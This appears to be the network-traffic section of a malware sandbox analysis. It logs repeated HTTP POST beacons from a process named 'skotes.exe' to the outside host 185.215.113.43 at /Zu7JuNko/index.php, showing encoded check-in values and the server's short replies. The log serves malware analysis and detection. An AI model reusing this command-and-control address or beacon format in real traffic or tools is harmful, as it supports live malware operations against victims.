Nov 23, 2024 03:23:46.713040113 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:23:48.106800079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	50208	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:49.854216099 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:23:51.202706099 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	50210	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:52.838895082 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:23:54.184051037 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	50211	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:55.936081886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:23:57.333429098 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:23:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	50212	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:23:58.973838091 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:24:00.320735931 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	50213	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:02.072734118 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:24:03.448638916 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	50214	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:05.091025114 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:24:06.472161055 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	50216	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:08.209408045 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:24:09.641962051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	50217	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:11.268549919 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:24:12.615099907 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	50218	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:14.367082119 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:24:15.697895050 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	50219	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:17.325875044 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:24:18.720130920 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	50220	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:20.462794065 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:24:21.840075016 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	50221	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:23.483573914 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:24:24.874986887 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	50222	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:26.620816946 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:24:28.007035017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	50223	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:29.639621019 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:24:30.975619078 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	50224	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:32.726113081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:24:34.166069984 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	50225	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:35.796247959 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:24:37.187660933 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	50226	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:38.934715986 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:24:40.310803890 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	50227	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:41.953525066 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:24:43.346417904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	50228	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:45.091532946 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:24:46.525161028 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	50229	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:48.169359922 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:24:49.602746010 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	50230	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:51.347641945 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 03:24:52.678523064 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	50232	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 03:24:54.304615021 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 33 32 36 37 32 42 39 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B32672B95982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 23, 2024 03:24:55.650846958 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 02:24:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50233	185.215.113.43	80	7656	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
